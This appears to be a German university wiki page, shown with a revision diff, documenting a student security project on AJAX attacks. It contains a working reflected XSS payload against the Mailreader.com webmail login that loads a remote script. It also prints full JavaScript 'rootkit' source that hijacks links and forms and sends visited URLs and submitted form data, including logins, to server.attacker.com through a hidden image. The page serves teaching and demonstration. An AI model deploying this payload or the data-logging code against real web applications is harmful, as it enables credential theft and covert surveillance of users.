Ajax Sicherheit: Difference between revisions

From
Jump to navigation Jump to search
No edit summary
No edit summary
Line 1: Line 1:
== Problemstellung ==
== Problemstellung ==
=== AJAX ===
=== AJAX ===
Als Asynchronous JavaScript And XML (AJAX) wird eine Verknüpfung vorhandener Techniken zur client-seitigen Web-Programmierung verstanden, mit der es möglich ist, über Requests und Responses unabhängig vom Laden einer neuen Seite im Browser mit dem Webserver zu kommunizieren. [[Image:01_ajax_klassweb.JPG|thumb|300px|Kommunikation zwischen Browser und Web-Server bei klassischen Web-Applikationen]]
Als Asynchronous JavaScript And XML (AJAX) wird eine Verknüpfung vorhandener Techniken zur client-seitigen Web-Programmierung verstanden, mit der es möglich ist, über Requests und Responses unabhängig vom Laden einer neuen Seite im Browser mit dem Webserver zu kommunizieren. [[Image:01_ajax_klassweb.JPG|thumb|400px|Kommunikation zwischen Browser und Web-Server bei klassischen Web-Applikationen]]
In JavaScript lässt sich das XHR (XMLHTTPRequest-Objekt) nutzen, um Requests abzusetzen und eine etwaige Response zu verarbeiten. [[Image:02_ajax_ajax_app.JPG|thumb|300px|Kommunikation zwischen Browser und Web-Server bei Web-Applikationen mit AJAX]] Viele sogenannte "Web 2.0"-Anwendungen nutzen AJAX, um komfortablere Benutzerschnittstellen zu realisieren; etwa GoogleMail oder RoundCube.
In JavaScript lässt sich das XHR (XMLHTTPRequest-Objekt) nutzen, um Requests abzusetzen und eine etwaige Response zu verarbeiten. [[Image:02_ajax_ajax_app.JPG|thumb|400px|Kommunikation zwischen Browser und Web-Server bei Web-Applikationen mit AJAX]] Viele sogenannte "Web 2.0"-Anwendungen nutzen AJAX, um komfortablere Benutzerschnittstellen zu realisieren; etwa GoogleMail oder RoundCube.


=== Konzept ===
=== Konzept ===
Line 17: Line 17:
=== Beschreibung ===
=== Beschreibung ===
Der eigentliche Angriff erfolgt über eine XSS-Lücke im Mailreader.
Der eigentliche Angriff erfolgt über eine XSS-Lücke im Mailreader.
[[Image:03_ajax_reflected_xss.JPG]]
[[Image:03_ajax_reflected_xss.JPG|thumb|400px|Reflected XSS (Cross-Site Scripting) wie im Projekt verwendet]]


Die Formularfelder auf der Loginseite können mit Hilfe von GET-Parametern vorbelegt werden, der Aufruf der URL ''<nowiki>http://mailreader.server.com?configLogin=user1</nowiki>'' würde dem Feld Benutzername den Wert ''user1'' zuweisen. Derartig übergebene Werte werden nicht validiert, so dass es einem Angreifer möglich ist, HTML-Code einzuschleusen.
Die Formularfelder auf der Loginseite können mit Hilfe von GET-Parametern vorbelegt werden, der Aufruf der URL ''<nowiki>http://mailreader.server.com?configLogin=user1</nowiki>'' würde dem Feld Benutzername den Wert ''user1'' zuweisen. Derartig übergebene Werte werden nicht validiert, so dass es einem Angreifer möglich ist, HTML-Code einzuschleusen.

Revision as of 20:41, 25 September 2008

Problemstellung

AJAX

Als Asynchronous JavaScript And XML (AJAX) wird eine Verknüpfung vorhandener Techniken zur client-seitigen Web-Programmierung verstanden, mit der es möglich ist, über Requests und Responses unabhängig vom Laden einer neuen Seite im Browser mit dem Webserver zu kommunizieren.

Kommunikation zwischen Browser und Web-Server bei klassischen Web-Applikationen

In JavaScript lässt sich das XHR (XMLHTTPRequest-Objekt) nutzen, um Requests abzusetzen und eine etwaige Response zu verarbeiten.

Kommunikation zwischen Browser und Web-Server bei Web-Applikationen mit AJAX

Viele sogenannte "Web 2.0"-Anwendungen nutzen AJAX, um komfortablere Benutzerschnittstellen zu realisieren; etwa GoogleMail oder RoundCube.

Konzept

Unser Projekt soll betrachten, welche neuen Angriffsmöglichkeiten sich erst durch AJAX ergeben. So kann ein Angreifer JavaScript-Coding (über eine zu konkretisierende Schwachstelle) in die vertrauenswürdige Seite einer Web-Applikation einbringen. Der Benutzer bewegt sich - wie üblich - in der Applikation und sieht die gleichen Inhalte. Diese Inhalte werden jedoch durch das eingeschleuste Coding vom Server angefordert und über dynamisches Anpassen der angezeigten Seite an den Anwender weitergereicht. Somit wird hier unter Zuhilfenahme von AJAX eine Web-Applikation durch das Coding des Angreifers simuliert.

XSS-Angriff

Um das Skript zur Nutzung von AJAX in die vertrauenswürdige Seite zu injizieren, nutzen wir eine Schwachstelle im WebMail-Client Mailreader.com in der am Institut für Informatik eingesetzten Version. Hierbei wird der arglose Benutzer animiert, einen manipulierten Link anzuklicken. Der Link enthält im Query-String zusätzlich zu

Quellen

Stuttard, Dafydd / Pinto, Marcus: The Web application Hacker's handbook. Discovering and exploiting security flaws. Indianapolis 2008
Eilers, Carsten: Ajax Security. Sichere Web 2.0-Anwendungen. Unterhaching 2008.

Demonstration

Beschreibung

Der eigentliche Angriff erfolgt über eine XSS-Lücke im Mailreader.

Reflected XSS (Cross-Site Scripting) wie im Projekt verwendet

Die Formularfelder auf der Loginseite können mit Hilfe von GET-Parametern vorbelegt werden, der Aufruf der URL http://mailreader.server.com?configLogin=user1 würde dem Feld Benutzername den Wert user1 zuweisen. Derartig übergebene Werte werden nicht validiert, so dass es einem Angreifer möglich ist, HTML-Code einzuschleusen.

Unser konkreter Angriffscode:

http://mailreader.server.com?configLogin="><script src=http://positiveinfinity.net/col/script.js></script><br lang="

Der Code schließt zunächst das input-Tag, fügt dann ein script-Tag ein, welches den Rootkit-Code von einem anderen Server lädt. Zuletzt wird ein harmloses br-Tag eingefügt, was dazu dient, die Seite unverändert erscheinen zu lassen.

In dem nachgeladenen Javascript-Code wird zunächst die Library jquery definiert. Danach folgen vier Funktionen:

retrievePage(href, data) lädt die Seite an der Adresse href per AJAX; werden im Parameter data Daten übergeben, wird ein Post ausgeführt, andernfalls wird die Seite per GET aufgerufen. Nach dem Laden werden alle body-, head- und html-Tags aus der Seite entfernt und die komplette Seite als innerHTML des aktuellen body-Elements eingefügt.

convertElements() ersetzt die onclick-Handler aller Links sowie die onsubmit-Handler aller Formulare mit einer neuen Funktion, die durch den Aufruf von retrievePage() die angeforderte Seite nachlädt und anschließend per logData() einige Daten auf dem Server des Angreifers speichert.

logData(url, data) speichert die übergebene url und weitere Daten auf dem Server des Angreifers. Dies geschieht, indem ein unsichtbares Bild ans Ende des HTML-Dokuments angehängt wird, welches als src-Attribut ein Logging-Skript auf dem entsprechenden Server angibt, welches wiederum per GET-Parameter die Daten empfängt.

logMe() gibt lediglich eine Statusmeldung in der Konsole von Firebug aus, um anzuzeigen, dass das Rootkit weiterhin aktiv ist.

Der Start des Rootkits erfolgt durch Aufruf der Funktion convertElements(). Von diesem Moment an erfolgen alle folgenden Seitenaufrufe durch das Rootkit und werden gespeichert.

Quelltext

/*
 * jQuery 1.2.6 - New Wave Javascript
 *
 * Copyright (c) 2008 John Resig (jquery.com)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * $Date: 2008-05-24 14:22:17 -0400 (Sat, 24 May 2008) $
 * $Rev: 5685 $
 */

[...]

/** BEGIN XSS **/

retrievePage = function(href, data) {
	data = (data ? data : "");
	_method = (data.length > 0 ? "POST" : "GET");
	
	$.ajax({
		dataType: "html",
		url: href,
		data: data,
		type: _method,
		beforeSend: function(xhr) {
			console.log("Retrieving page: " + href);
		},
		success: function(data, status) {
			data.replace(/(<.?body.*?>)|(<.?head.*?>)|(<.?html.*?>)/gi, "<!-- replaced -->");
			
			console.log(data);
			
			$("body").html(data);
			convertElements();
		},
		error : function(xhr, status, error) {
			alert("An error occured: " + status + " / " + error);
		},
		complete : function(xhr, status) {
			console.log("Done.");
		}
	});
}

logData = function(url, data) {
	data = encodeURIComponent("URL: " + url + " - DATA: " + data);
	
	$("<img src='http://server.attacker.com/log.php?log=" + data + "' style='display:none' />").appendTo("body");
}

convertElements = function() {
	$("a").click(function() {
		_href = $(this).attr("href");

		retrievePage(_href);
		logData(_href, "");
		
		return false;
	});
	
	$("form").submit(function() {
		_action = $(this).attr("action");
		_data = $(this).serialize();
		
		retrievePage(_action, _data);
		logData(_action, _data);
		
		return false;
	});
}

logMe = function() {
	console.log("still here... " + new Date().getTime());
	window.setTimeout("logMe()", 5000);
}

convertElements();
logMe();